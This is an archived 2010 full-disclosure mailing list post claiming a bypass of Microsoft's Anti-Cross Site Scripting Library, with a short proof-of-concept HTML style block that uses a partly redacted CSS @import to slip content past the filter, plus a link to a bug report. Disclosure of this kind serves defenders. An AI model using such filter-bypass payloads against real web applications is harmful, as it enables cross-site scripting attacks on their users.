full-disclosure - Microsoft Anti-Cross Site Scripting Library Bypass

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Message-ID: <AANLkTinTgJP983Lr-m1jL7ztqdsiXXbdUyT1K3uAdQmV@mail.gmail.com>
Date: Sat, 14 Aug 2010 16:02:07 +0800
From: Web Sec <root@...ec.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Microsoft Anti-Cross Site Scripting Library Bypass

Microsoft use anti-xss library to filter content from user,but there is some
VULN in the library,so anyone can bypass this function to make a XSS
attack.All webapps use anti-xss library will be unsecue(Maybe include
Hotmal,Office,IE......)

You can use this code to bypass it,and there maybe othere cases to do this :

<style>

}@...ort url('//127.0.0.1/1.css');aaa

{;}

</style>

<div id="x">Fuck Ie</div>

More information:

http://www.wooyun.org/bug.php?action=view&id=190

Content of type "text/html" skipped

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